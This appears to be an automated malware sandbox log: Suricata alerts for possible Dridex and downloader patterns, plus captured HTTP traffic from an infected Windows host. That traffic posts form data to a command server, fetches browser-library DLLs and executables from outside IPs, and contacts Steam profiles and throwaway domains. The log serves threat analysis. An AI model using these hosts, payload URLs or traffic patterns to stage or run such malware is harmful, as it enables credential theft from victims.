Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49758 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49759 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49760 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49761 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49763 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49765 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49764 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49768 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49771 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49773 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49775 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49780 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49781 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49782 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49785 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49790 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49793 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49797 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49795 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49799 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49788 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49801 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49800 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49803 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49805 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49807 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49808 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49806 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49804 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49810 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49809 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49811 -> 49.12.197.9:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 5497Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCAAKFBAEHJJJJDHIEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 114097Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFHDBFIDAECAAAKEGDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: questionsmw.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soldiefieop.site
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: abnomalrkmu.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treatynreit.site
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: snarlypagowo.site
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mysterisop.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: absorptioniw.site
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gravvitywio.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: questionsmw.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soldiefieop.site
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: abnomalrkmu.site
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treatynreit.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: snarlypagowo.site
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJJECBKKECFIEBGCAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mysterisop.site
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: absorptioniw.site
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gravvitywio.store
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 5485Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFCBFHJDHJKECAKEHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIEHJEBAAFIDHJEBGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 5437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66fbfcc301a31_swws.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: cowod.hopto.orgContent-Length: 5757Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_00406963

Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
